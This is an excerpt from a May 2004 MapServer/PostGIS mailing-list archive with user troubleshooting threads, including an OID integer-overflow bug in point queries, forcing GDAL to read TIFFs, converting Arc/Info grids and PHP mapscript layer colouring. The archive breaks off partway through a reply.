> LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT
> station_id::text,time_stamp::text,z::text,label_z::text,temperature_cel
> cius::text,temperature_fahrenheit::text,value_temperature_celcius::text
> ,value_temperature_fahrenheit::text,lon::text,lat::text,title::text,ins
> titution::text,institution_url::text,institution_dods_url::text,source:
> :text,refs::text,contact::text,report_time_stamp::text,asbinary(force_c
> ollection(force_2d(the_geom)),'NDR') from sst_map WHERE OID =
> 2147483647
>
> So had they kept the OID, I would be in good shape.
>
> This isn't looking good!!!
>
> Charlton
>
> -----Original Message-----
> From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
> Sent: Sat 5/1/2004 11:11 PM
> To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
> Cc:
> Subject: RE: [postgis-users] RE: gone are my query results
>
>
>
>
> If you turn on the logging of statements in postgres and run the
> mapserver side of things, does the query show up in the logs ?
>
> If the query does not appear then I'd suspect networking or
> permissions or some darn thing keeping postgres from ever seeing the
> query.
>
> It it does show up then maybe the problem is in the return trip to MS
> or in the processing of that data (perhaps your OID suspicions), since
> it sounds as if the query itself can be processed.
>
> Any changes to *anything* on either server and anything in between ?
> (not likely but always worth ruling out)
>
> Or, shot in the dark, something messing with TOLERANCE so no points
> are selected in a query ?
>
> Very puzzling, I agree.
>
> Greg W.
>
> -----Original Message-----
> From: Charlton Purvis on behalf of Charlton Purvis
> Sent: Sat 5/1/2004 7:59 PM
> To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
> Cc:
> Subject: RE: [postgis-users] RE: gone are my query results
> Thanks for your reply, Gregory. I'm forwarding this onto the MS
> folks to see if they have any pearls of wisdom.
>
> Everything looks great in the db. If I render a map, I see all the
> points correctly. If I take that query and plug it in to the command
> line, I see the rows. But the moment I try to do either a cgi query,
> WFS query, or a PHP query, I get nothing back. No error message.
>
> I'm actually getting panicky which isn't any fun. Has anyone seen
> anything like this before?
>
> Queries rely on OID's and SRID's. Is there any way they could have
> gotten mucked up? Can I somehow refresh them?
>
> Thanks,
>
> Charlton
>
> -----Original Message-----
> From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
> Sent: Sat 5/1/2004 6:20 PM
> To: PostGIS Users Discussion
> Cc:
> Subject: [postgis-users] RE: gone are my query results
>
>
>
>
> If you do the query directly to postgres (via psql or pgAdmin or
> whatever) does the query return results ?
>
> If so, then my guess is that this is not a database error, at least
> not directly. If ot then yes, it would seem that somehow the postGIS
> itself has gottent snarfled.
>
> The change you made relating the geometryColumns doesn't sound to me
> like it should effect queries unless somehow the SRID info for the
> tables in your mapserver queries got clobbered; should be easy enough
> to confirm that this data is ok.
>
> I am not familiar enough with PHP and mapserver to have a clue; does
> the mapserver log itself show anything ?
>
> Not much help, I'm afraid, but perhaps posting this to the MMS list
> would add some more knowledge to the issue at hand ?
>
> Greg Williamson
> DBA
> GlobeXplorer LLC
>
> -----Original Message-----
> From: Charlton Purvis on behalf of Charlton Purvis
> Sent: Sat 5/1/2004 2:46 PM
> To: PostGIS Users Discussion
> Cc:
> Subject: gone are my query results
> Hi, folks:
>
> Bizarre and unnerving problem here.
>
> Up until last night, mapping was fine and point-query was fine. Now
> it appears that the mapping is still great, but the point query and
> WFS are toast. I don't get any errors in pgsql.log or php.log. I get
> . . . nothing. Even going mapserv cgi query returns empty for a query
> I know should work.
>
> Maybe I'm being taught a lesson. In a separate database, I noticed
> that addgeometrycolumn was taking too long -- I create about 400
> smaller tables per day. So I commented out fix_geometry_columns();
> from the addgeometrycolumn function and did it once I had finished
> creating all my new tables. So am I paying the price? Has this
> corrupted this database as well as my other?
>
> If all this is OID stuff, is there any way to refresh all OID's?
>
> Restarted . . . yes. VACUUM and ANALYZE'd . . . yes.
>
> Thanks,
>
> Charlton
>
>
>
> _______________________________________________
> postgis-users mailing list
> postgis-users@postgis.refractions.net
> http://postgis.refractions.net/mailman/listinfo/postgis-users
>
>
>
>
>
> _______________________________________________
> postgis-users mailing list
> postgis-users@postgis.refractions.net
> http://postgis.refractions.net/mailman/listinfo/postgis-users
>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
Paul Ramsey
Refractions Research
Email: pramsey@refractions.net
Phone: (250) 885-0632
From malonso@meso.com Sun May 2 20:06:08 2004
From: malonso@meso.com (malonso@meso.com)
Date: Sun, 2 May 2004 15:06:08 -0400 (EDT)
Subject: [Mapserver-users] Re: demo: legend, scalebar
Message-ID: <55100.66.193.31.36.1083524768.squirrel@www.meso.com>
Hello,
Has anyone come across or developed any utilities that can incorporate
TIGER line files? I also included a previous question (below) that I
hadn't gotten any response to, if you can help with either that would be
greatly appreciated. Thanks folks.
Matt
> Howdy all,
>
> I am trying to run the demo, and I can get most of it to work, but I
> can't seem to get the legend or the 1st scalebar, the main map and the
> 2nd bar in the bottom right corner works fine. I attached the modified
> index.html and itasca.map files. Ironically I had them all working fine
> at first, but I had set the various "image_" things wrong so I could not
> see them. I made a couple changes and looked in the dir where the
> images should've been and they were all there. All the previous legends
> and scalebars where there from the previous runs, but I was no longer
> able to generate the 1st scalebar and the legends. If anyone needs
> anymore info please let me know. Thanks in advance for your help.
>
> Matt
Matt Alonso
Meso, Inc.
185 Jordan Road
Troy, NY 12180
phone: 267-446-8657
work: 518-283-5169
From cpurvis@asg.sc.edu Mon May 3 04:05:21 2004
From: cpurvis@asg.sc.edu (Charlton Purvis)
Date: Sun, 2 May 2004 23:05:21 -0400
Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my queryresults
Message-ID:
Let's hear it for the Canadians!!!
FabulOUS, Paul. You're an absolute life savior / saver / whatever!
Talk about premature graying. That was an unpleasant couple of days, but it was solved by binding the UNIQUE to a home-grown column, and now everything is golden.
Whew!
Infinte thanks. So . . . are you interested in inheriting Alaska? Maybe I can talk Dubya into a little trade since I owe you big time.
How about we start off w/ a case or two (thousand) of beer?
Charlton
-----Original Message-----
From: Paul Ramsey [mailto:pramsey@refractions.net]
Sent: Sun 5/2/2004 12:45 AM
To: Administrator@netnation.refractions.net
Cc: mapserver-users@lists.gis.umn.edu; PostGIS Users Discussion
Subject: Re: [Mapserver-users] RE: [postgis-users] RE: gone are my queryresults
Got your back, Charlton :)
The problem is that your PostgreSQL oids are larger than the mapserver
row number variable can store. The oid is larger than a signed 32 bit
integer can store.
So, solution.
Do not use oid as your "unique" field. Make use of the "using unique"
clause in your data statement, and reference a different unique field
in your table. Make sure that field is indexed. If you have loaded your
data with shp2pgsql, you probably have a 'gid' field you can use that
is a primary key (and therefore already indexed).
Yours,
Paul
On Saturday, May 1, 2004, at 08:42 PM, Charlton Purvis wrote:
> OK, Greg, I think we might be onto something. But it still looks very
> grim.
>
> I turned on all the logging, and I notice that MS sends it this query:
>
> LOCATION: pg_parse_query, postgres.c:464
> LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT
> temperature_celcius::text,asbinary(force_collection(force_2d(the_geom))
> ,'NDR'),OID::text from sst_map WHERE
> (date_trunc('hour',report_time_stamp + interval '1 hour' * -04) =
> date_trunc('hour',timestamp without time zone '2004-05-01 22:00:00')
> and (label_z <= 5 or label_z is null)) and (the_geom && setSRID(
> 'BOX3D(-83.0454044480208 24.3838940085927,-82.6541628156105
> 24.775135641003)'::BOX3D,find_srid('','sst_map','the_geom') ))
>
> OK. That's good. Because if I stick the SELECT part at a psql
> prompt, I get back the row I want. And I also notice that its OID is
> 2185295089.
>
> But if I look at the last sql statement in the log, it's another
> cursor, but the OID is wrong.
>
> LOCATION: pg_parse_query, postgres.c:464
> LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT
> station_id::text,time_stamp::text,z::text,label_z::text,temperature_cel
> cius::text,temperature_fahrenheit::text,value_temperature_celcius::text
> ,value_temperature_fahrenheit::text,lon::text,lat::text,title::text,ins
> titution::text,institution_url::text,institution_dods_url::text,source:
> :text,refs::text,contact::text,report_time_stamp::text,asbinary(force_c
> ollection(force_2d(the_geom)),'NDR') from sst_map WHERE OID =
> 2147483647
>
> So had they kept the OID, I would be in good shape.
>
> This isn't looking good!!!
>
> Charlton
>
> -----Original Message-----
> From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
> Sent: Sat 5/1/2004 11:11 PM
> To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
> Cc:
> Subject: RE: [postgis-users] RE: gone are my query results
>
>
>
>
> If you turn on the logging of statements in postgres and run the
> mapserver side of things, does the query show up in the logs ?
>
> If the query does not appear then I'd suspect networking or
> permissions or some darn thing keeping postgres from ever seeing the
> query.
>
> It it does show up then maybe the problem is in the return trip to MS
> or in the processing of that data (perhaps your OID suspicions), since
> it sounds as if the query itself can be processed.
>
> Any changes to *anything* on either server and anything in between ?
> (not likely but always worth ruling out)
>
> Or, shot in the dark, something messing with TOLERANCE so no points
> are selected in a query ?
>
> Very puzzling, I agree.
>
> Greg W.
>
> -----Original Message-----
> From: Charlton Purvis on behalf of Charlton Purvis
> Sent: Sat 5/1/2004 7:59 PM
> To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
> Cc:
> Subject: RE: [postgis-users] RE: gone are my query results
> Thanks for your reply, Gregory. I'm forwarding this onto the MS
> folks to see if they have any pearls of wisdom.
>
> Everything looks great in the db. If I render a map, I see all the
> points correctly. If I take that query and plug it in to the command
> line, I see the rows. But the moment I try to do either a cgi query,
> WFS query, or a PHP query, I get nothing back. No error message.
>
> I'm actually getting panicky which isn't any fun. Has anyone seen
> anything like this before?
>
> Queries rely on OID's and SRID's. Is there any way they could have
> gotten mucked up? Can I somehow refresh them?
>
> Thanks,
>
> Charlton
>
> -----Original Message-----
> From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
> Sent: Sat 5/1/2004 6:20 PM
> To: PostGIS Users Discussion
> Cc:
> Subject: [postgis-users] RE: gone are my query results
>
>
>
>
> If you do the query directly to postgres (via psql or pgAdmin or
> whatever) does the query return results ?
>
> If so, then my guess is that this is not a database error, at least
> not directly. If ot then yes, it would seem that somehow the postGIS
> itself has gottent snarfled.
>
> The change you made relating the geometryColumns doesn't sound to me
> like it should effect queries unless somehow the SRID info for the
> tables in your mapserver queries got clobbered; should be easy enough
> to confirm that this data is ok.
>
> I am not familiar enough with PHP and mapserver to have a clue; does
> the mapserver log itself show anything ?
>
> Not much help, I'm afraid, but perhaps posting this to the MMS list
> would add some more knowledge to the issue at hand ?
>
> Greg Williamson
> DBA
> GlobeXplorer LLC
>
> -----Original Message-----
> From: Charlton Purvis on behalf of Charlton Purvis
> Sent: Sat 5/1/2004 2:46 PM
> To: PostGIS Users Discussion
> Cc:
> Subject: gone are my query results
> Hi, folks:
>
> Bizarre and unnerving problem here.
>
> Up until last night, mapping was fine and point-query was fine. Now
> it appears that the mapping is still great, but the point query and
> WFS are toast. I don't get any errors in pgsql.log or php.log. I get
> . . . nothing. Even going mapserv cgi query returns empty for a query
> I know should work.
>
> Maybe I'm being taught a lesson. In a separate database, I noticed
> that addgeometrycolumn was taking too long -- I create about 400
> smaller tables per day. So I commented out fix_geometry_columns();
> from the addgeometrycolumn function and did it once I had finished
> creating all my new tables. So am I paying the price? Has this
> corrupted this database as well as my other?
>
> If all this is OID stuff, is there any way to refresh all OID's?
>
> Restarted . . . yes. VACUUM and ANALYZE'd . . . yes.
>
> Thanks,
>
> Charlton
>
>
>
> _______________________________________________
> postgis-users mailing list
> postgis-users@postgis.refractions.net
> http://postgis.refractions.net/mailman/listinfo/postgis-users
>
>
>
>
>
> _______________________________________________
> postgis-users mailing list
> postgis-users@postgis.refractions.net
> http://postgis.refractions.net/mailman/listinfo/postgis-users
>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
Paul Ramsey
Refractions Research
Email: pramsey@refractions.net
Phone: (250) 885-0632
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
_______________________________________________
postgis-users mailing list
postgis-users@postgis.refractions.net
http://postgis.refractions.net/mailman/listinfo/postgis-users
From mapserver@resellmo.com Mon May 3 06:06:05 2004
From: mapserver@resellmo.com (K Resellmo)
Date: Mon, 03 May 2004 00:06:05 -0500
Subject: [Mapserver-users] Lines between points and polygon colors
Message-ID: <6.0.1.1.2.20040503000112.027b2340@resellmo.com>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hi,
I have two questions about MapServer features:
1. Is it possible to use the MapServer symbol capabilities to draw lines
between points? I have several sets of points that I would like to display
using both a graphic to mark the point, and a line to connect the points.
2. Can I display polygons in different colors? (like a political map with
different colors for different countries)
Thanks for your time!
Kris
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0.2
iQA/AwUBQJXTR54XWyzLnsoNEQKYhwCg1sVN1do8RYMOwDH+TefnJVaphRgAoJ7M
K2gRAzDWoG8j2D127VlixRxx
=VJjn
-----END PGP SIGNATURE-----
From samuzzal@linux.net Mon May 3 08:53:16 2004
From: samuzzal@linux.net (Sam Choudry)
Date: Mon, 3 May 2004 00:53:16 -0700 (PDT)
Subject: [Mapserver-users] Problem coloring layer
Message-ID: <20040503075316.C18AD7262@sitemail.everyone.net>
Hello,
Here is the same old problem still not solved. I want to change the
color of my area layer "nal-blk" according to user input. For that I am
using the code:
if($r!='' && $g!='' && $b!='')
{
$layer = $map->getlayerbyname("nal-blks");
$class = $layer->getclass(0);
$layer->open($map->shapepath);
$index = findindex($r,$g,$b);
$class->set('color',index);
}
I am using a function I received from one of the list members,
function findindex($r,$g,$b)
{
GLOBAL $map;
$r1=(int) $r;
$g1=(int) $g;
$b1=(int) $b;
for($i=-10;$i<0;$i++)
{
$col=$map->getColorByIndex($i);
$tr=$col->red;
$tg=$col->green;
$tb=$col->blue;
if(($r1 == $tr) && ($g1 == $tg) && ($b1 == $tb))
{
$in=$i;
break;
}
}
$in=$in+1;
return($in);
}
The Error message are :
Warning: Wrong parameter count for open() in
c:\inetpub\wwwroot\php\nalbari.php on line 21
Fatal error: Property 'color' does not exist in this object.
in c:\inetpub\wwwroot\php\nalbari.php on line 23
The Map File snippet is also provided:
LAYER #DISTRICT BLOCKS#
NAME "nal-blks"
DATA nal-blks
STATUS ON
TYPE POLYGON
CLASS
NAME '0'
COLOR 219 250 253
OUTLINECOLOR 154 181 250
END
END
What can be the possile solution to this? Regards,
Samuzzal
_____________________________________________________________
Linux.Net -->Open Source to everyone
Powered by Linare Corporation
http://www.linare.com/
From mapserver@meteologica.es Mon May 3 10:36:39 2004
From: mapserver@meteologica.es (Paco Regodon)
Date: Mon, 3 May 2004 11:36:39 +0200
Subject: [Mapserver-users] How to force GDAL to read tiffs?
Message-ID: <200405031136.39601.mapserver@meteologica.es>
Hello,
i am using mapserver-4.0-1mdk, the rpm package from Mandrake. It is compiled
with tiff support:
$ /var/www/cgi-bin/mapserv -v
MapServer version 4.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ
SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_CLIENT
INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE
Is there any way i can force using GDAL to read tiff images? I can't compile
my own version. Is there any mapfile directive similar to OUTPUTFORMAT to
force using GDAL instead of builtin support?
From publiek@home.nl Mon May 3 13:05:29 2004
From: publiek@home.nl (publiek@home.nl)
Date: Mon, 3 May 2004 14:05:29 +0200
Subject: [Mapserver-users] php mapscript - pasteimage
Message-ID: <200405031205.i43C5jFS017932@lists.gis.umn.edu>
Hello,
I want to show several layers on top of each other.
How do i combine the images?
I looked at pasteimage, but the examples provided with mapserver 4 dont work. (Would be nice if someone updated these)
Anyone willing to provide me a simple example?
Thanks a heap.
Marcel
From jerl.simpson@rkiq.com Mon May 3 14:00:56 2004
From: jerl.simpson@rkiq.com (Jerl Simpson)
Date: Mon, 03 May 2004 08:00:56 -0500
Subject: [Mapserver-users] Re: demo: legend, scalebar
In-Reply-To: <55100.66.193.31.36.1083524768.squirrel@www.meso.com>
References: <55100.66.193.31.36.1083524768.squirrel@www.meso.com>
Message-ID: <40964288.30803@rkiq.com>
Matt,
You can find an quick example of how to read the TIGER/Line data here:
http://mapserver.gis.umn.edu/doc40/ogr-howto.html#binary
scroll down to example #3.
I have done this, and it does work. However I would recommend
converting the ASCII files to ESRI Shapefiles. The ESRI files will
allow maps to be displayed much faster. If you have a small amount of
data, it might be alright. As you add data however, it will slow down
as ASCII is not very effecient for searching.
Jerl
malonso@meso.com wrote:
> Hello,
>
> Has anyone come across or developed any utilities that can incorporate
> TIGER line files? I also included a previous question (below) that I
> hadn't gotten any response to, if you can help with either that would be
> greatly appreciated. Thanks folks.
>
> Matt
>
>
>>Howdy all,
>>
>>I am trying to run the demo, and I can get most of it to work, but I
>>can't seem to get the legend or the 1st scalebar, the main map and the
>>2nd bar in the bottom right corner works fine. I attached the modified
>>index.html and itasca.map files. Ironically I had them all working fine
>>at first, but I had set the various "image_" things wrong so I could not
>>see them. I made a couple changes and looked in the dir where the
>>images should've been and they were all there. All the previous legends
>>and scalebars where there from the previous runs, but I was no longer
>>able to generate the 1st scalebar and the legends. If anyone needs
>>anymore info please let me know. Thanks in advance for your help.
>>
>>Matt
>
>
>
> Matt Alonso
> Meso, Inc.
> 185 Jordan Road
> Troy, NY 12180
> phone: 267-446-8657
> work: 518-283-5169
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> .
>
From dmanian@ivesia.com Mon May 3 14:03:07 2004
From: dmanian@ivesia.com (Dharani Babu S)
Date: Mon, 3 May 2004 18:33:07 +0530
Subject: [Mapserver-users] fatal error U1073: don't know how to make 'map.h'
Message-ID: <007401c4310e$fa81cbd0$8702a8c0@hdsc.com>
This is a multi-part message in MIME format.
------=_NextPart_000_0071_01C4313D.13EB4B90
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi all I am compiling map server code with -nmake tool . But I am facing =
this NMAKE error
fatal error U1073: don't know how to make 'map.h'
Could any of u advise me on this ??
regards and thanks in advance
dharani babu s
------=_NextPart_000_0071_01C4313D.13EB4B90
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi all I am compiling map server code =
with -nmake=20
tool . But I am facing this NMAKE error
fatal error U1073: don't know how to =
make=20
'map.h'
Could any of u advise me on this=20
??
regards and thanks in=20
advance
dharani babu=20
s
------=_NextPart_000_0071_01C4313D.13EB4B90--
From warmerdam@pobox.com Mon May 3 14:09:16 2004
From: warmerdam@pobox.com (Frank Warmerdam)
Date: Mon, 03 May 2004 09:09:16 -0400
Subject: [Mapserver-users] How to force GDAL to read tiffs?
In-Reply-To: <200405031136.39601.mapserver@meteologica.es>
References: <200405031136.39601.mapserver@meteologica.es>
Message-ID: <4096447C.4080003@pobox.com>
Paco Regodon wrote:
> Hello,
>
> i am using mapserver-4.0-1mdk, the rpm package from Mandrake. It is compiled
> with tiff support:
>
> $ /var/www/cgi-bin/mapserv -v
> MapServer version 4.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ
> SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_CLIENT
> INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE
>
>
> Is there any way i can force using GDAL to read tiff images? I can't compile
> my own version. Is there any mapfile directive similar to OUTPUTFORMAT to
> force using GDAL instead of builtin support?
Paco,
There is no proper way to force use of the GDAL TIFF driver for reading if
the internal TIFF is available. I kind of thought this had been corrected for
4.0. It certainly is fixed in 4.2 where the built-in TIFF support is only used
when GDAL is not available.
You could "trick" MapServer into using GDAL by setting a different projection
on the raster layer ... say with a false easting or northing that differs
by a 10th of a meter or something. Also, forcing 24bit output will trip
things over to using GDAL.
Best regards,
--
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush | Geospatial Programmer for Rent
From sebastien.dubois@esm2.imt-mrs.fr Mon May 3 14:28:05 2004
From: sebastien.dubois@esm2.imt-mrs.fr (=?iso-8859-1?b?U+liYXN0aWVu?= DUBOIS)
Date: Mon, 3 May 2004 15:28:05 +0200
Subject: [Mapserver-users] mapserver on mandrake
In-Reply-To: <200405031136.39601.mapserver@meteologica.es>
References: <200405031136.39601.mapserver@meteologica.es>
Message-ID: <1083590885.409648e54fe76@webmail.esm2.imt-mrs.fr>
hello,
I have used "urpmi" to install mapserver under Mandrake9.2
So like Paco Regodon i've got the mapserver-4.0-1mdk, the rpm package from
Mandrake
I install apache by the same way (urpmi apache) then i made
> apachectl start
is that enough to start apache?
mapserv is in /var/www/
bu
[root@sx-dubois sbin]# which apachectl
/usr/sbin/apachectl
so mapserv and apache are not in the same directory !!!
I verified carefully that all the requires were installed
Requires
* webserver
* libc.so.6
* libcrypto.so.0.9.7
* libcurl.so.2
* libdl.so.2
* libfreetype.so.6
* libgd.so.2
* libgdal.1.1.so
* libjpeg.so.62
* libm.so.6
* libpng.so.3
* libproj.so.0
* libssl.so.0.9.7
* libstdc++.so.5
* libtiff.so.3
* libz.so.1
but when I test on my favourite browser:
http://sx-dubois@rd.francetelecom.com/var/www/cgi-bin/mapserv
I can red:
Warning: Failed opening '../../../fr/navigation/cadres.php' for inclusion
(include_path='.:/usr/local/lib/php') in /export/WWW/fr/navigation/bar.php on
line 40
Warning: Failed opening '../../../fr/navigation/ftbar.php' for inclusion
(include_path='.:/usr/local/lib/php') in /export/WWW/fr/navigation/bar.php on
line 41
Warning: Failed opening '../../../fr/navigation/rubriques.php' for inclusion
(include_path='.:/usr/local/lib/php') in /export/WWW/fr/navigation/bar.php on
line 42
Fatal error: Call to undefined function: rd_head() in /export/WWW/404.html.php
on line 27
Have you got a explanation for that?
thanks in advance for the time you spend to help me...
--
Sébastien DUBOIS
Ecole Généraliste d'Ingénieurs de Marseille (ex ESM2)
1024D/A1140BCB
Empreinte de la clé = 1BC8 7E21 4DA7 13D5 1B5F 876F F719 2B7A A114 0BCB
disponible sur www.keyserver.net
-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/
From jnielsen@aero-graphics.com Mon May 3 14:39:32 2004
From: jnielsen@aero-graphics.com (Jason M. Nielsen)
Date: Mon, 3 May 2004 07:39:32 -0600
Subject: [Mapserver-users] arcgrid to ascii(etc)
In-Reply-To: <4093F7E4.6000400@pobox.com>
References: <1083357821.4092ba7da1ffa@www.agi-lan.com> <4093F7E4.6000400@pobox.com>
Message-ID: <1083591572.40964b9440993@www.agi-lan.com>
Quoting Frank Warmerdam :
> Jason M. Nielsen wrote:
> > Anyone know of software that can convert arcgrid .adf files to ascii?
> > _______________________________________________
>
> Jason,
>
> GDAL read Arc/Info binary grid files in .adf format and can export a
> variety of formats including Arc/Info ASCII Grid format which is ... ASCII.
>
> eg.
>
> gdal_translate -of AAIGrid in_cov/w001001.adf out.grd
>
>
> Best regards,
I have posted this on the gdal mailing list as well. According to the --formats
output and compilation AAIGrid and AIG(adf) are supported. In any case it will
not write out arc binary or ascii grids. At least not for me. It explicitly
tells me output of that format is not supported:
[root@localhost NED11342]# gdalwarp -s_srs epsg:4326 -t_srs epsg:26711
DEM11041/W001001.ADF W001001A.GRD -of AAIGrid
Output driver `AAIGrid' not recognised or does not support
[root@localhost NED11342]# gdalinfo --formats
Supported Formats:
VRT: Virtual Raster
GTiff: GeoTIFF
NITF: National Imagery Transmission Format
HFA: Erdas Imagine Images (.img)
SAR_CEOS: CEOS SAR Image
CEOS: CEOS Image
ELAS: ELAS
AIG: Arc/Info Binary Grid
AAIGrid: Arc/Info ASCII Grid
SDTS: SDTS Raster
DTED: DTED Elevation Raster
PNG: Portable Network Graphics
Unless I missed a compile option where I need to tell it I want output formats
for these or include libraries I did not I am not seeing how to use gdal for this.
Anyone know what I have wrong with regard to the gdal 1.1.9 compilation? The
aaigrid and aigrid directories did indeed compile. I dont see any explicit
settings in the HOWTO nor the config files.
From jnielsen@aero-graphics.com Mon May 3 14:55:10 2004
From: jnielsen@aero-graphics.com (Jason M. Nielsen)
Date: Mon, 3 May 2004 07:55:10 -0600
Subject: [Mapserver-users] How to force GDAL to read tiffs?
In-Reply-To: <200405031136.39601.mapserver@meteologica.es>
References: <200405031136.39601.mapserver@meteologica.es>
Message-ID: <1083592510.40964f3eaa4e4@www.agi-lan.com>
Quoting Paco Regodon :
>
> Hello,
>
> i am using mapserver-4.0-1mdk, the rpm package from Mandrake. It is compiled
>
> with tiff support:
>
> $ /var/www/cgi-bin/mapserv -v
> MapServer version 4.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ
> SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_CLIENT
>
> INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE
>
>
> Is there any way i can force using GDAL to read tiff images? I can't compile
>
> my own version. Is there any mapfile directive similar to OUTPUTFORMAT to
> force using GDAL instead of builtin support?
If I recall there is an option --WITHOUT-TIFF or something similar. There is at
least one thread on the mailing list about this. I had the same problem.
Basically if you tell mapserver itself no tiff but also tell it use gdal TIFF
suport will just be automagically used via gdal.
From warmerdam@pobox.com Mon May 3 15:18:04 2004
From: warmerdam@pobox.com (Frank Warmerdam)
Date: Mon, 03 May 2004 10:18:04 -0400
Subject: [Mapserver-users] arcgrid to ascii(etc)
In-Reply-To: <1083591572.40964b9440993@www.agi-lan.com>
References: <1083357821.4092ba7da1ffa@www.agi-lan.com> <4093F7E4.6000400@pobox.com> <1083591572.40964b9440993@www.agi-lan.com>
Message-ID: <4096549C.7020309@pobox.com>
Jason M. Nielsen wrote:
> I have posted this on the gdal mailing list as well. According to the --formats
> output and compilation AAIGrid and AIG(adf) are supported. In any case it will
> not write out arc binary or ascii grids. At least not for me. It explicitly
> tells me output of that format is not supported:
>
> [root@localhost NED11342]# gdalwarp -s_srs epsg:4326 -t_srs epsg:26711
> DEM11041/W001001.ADF W001001A.GRD -of AAIGrid
> Output driver `AAIGrid' not recognised or does not support
Jason,
I hope the above isn't the complete error message. It should have reported
something about AAIGrid does not support Create() method. For gdalwarp you
will have to output to a format that supports random writing of raster data
(aka has a Create() method - such as GeoTIFF). Then translate to Arc/Info
ASCII Grid with gdal_translate.
> Anyone know what I have wrong with regard to the gdal 1.1.9 compilation? The
> aaigrid and aigrid directories did indeed compile. I dont see any explicit
> settings in the HOWTO nor the config files.
I would add that 1.1.9 is getting a bit dated. When you have a chance you might
want to upgrade to 1.2.0. In any event, this issue doesn't change between
the versions.
Best regards,
--
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush | Geospatial Programmer for Rent
From mapserver@meteologica.es Mon May 3 16:20:01 2004
From: mapserver@meteologica.es (Paco Regodon)
Date: Mon, 3 May 2004 17:20:01 +0200
Subject: [Mapserver-users] How to force GDAL to read tiffs?
In-Reply-To: <4096447C.4080003@pobox.com>
References: <200405031136.39601.mapserver@meteologica.es> <4096447C.4080003@pobox.com>
Message-ID: <200405031720.01781.mapserver@meteologica.es>
On Monday 03 May 2004 15:09, Frank Warmerdam wrote:
> Paco Regodon wrote:
> >
> > Is there any way i can force using GDAL to read tiff images? I can't
> > compile my own version. Is there any mapfile directive similar to
> > OUTPUTFORMAT to force using GDAL instead of builtin support?
>
> You could "trick" MapServer into using GDAL by setting a different
> projection on the raster layer ... say with a false easting or northing
> that differs by a 10th of a meter or something. Also, forcing 24bit output
> will trip things over to using GDAL.
Hello Frank,
no luck. :-(
I have tryed changing utm "zone=29" on the map and "zone=30" on the layer
without success. Also, i changed IMAGETYPE from PNG to PNG24, and i have
discovered that transparency information is being lost, as i am getting now
an ugly green background.
Also there is an speed penalty because of the extra reprojection time.
I have tryed renaming ".tif" to ".png", but it didn't work. He.
I allways get an Internal Server Error if i try to use tiff raster layers.
I am now using tiff2png to batch-convert all my tiffs to PNG, and it works
perfectly.
Thanks for your help.
From mapserver@meteologica.es Mon May 3 16:26:14 2004
From: mapserver@meteologica.es (Paco Regodon)
Date: Mon, 3 May 2004 17:26:14 +0200
Subject: [Mapserver-users] mapserver on mandrake
In-Reply-To: <1083590885.409648e54fe76@webmail.esm2.imt-mrs.fr>
References: <200405031136.39601.mapserver@meteologica.es> <1083590885.409648e54fe76@webmail.esm2.imt-mrs.fr>
Message-ID: <200405031726.14083.mapserver@meteologica.es>
Have you tried the demo?
mapserver-demo-3.5-2mdk
you should be able to test it on
http://[your_host]/mapserver/itasca/index.html
Paco
On Monday 03 May 2004 15:28, Sébastien DUBOIS wrote:
> hello,
>
> I have used "urpmi" to install mapserver under Mandrake9.2
> So like Paco Regodon i've got the mapserver-4.0-1mdk, the rpm package from
> Mandrake
>
> I install apache by the same way (urpmi apache) then i made
>
> > apachectl start
>
> is that enough to start apache?
>
> mapserv is in /var/www/
> bu
>
> [root@sx-dubois sbin]# which apachectl
> /usr/sbin/apachectl
>
> so mapserv and apache are not in the same directory !!!
>
> I verified carefully that all the requires were installed
> Requires
>
> * webserver
> * libc.so.6
> * libcrypto.so.0.9.7
> * libcurl.so.2
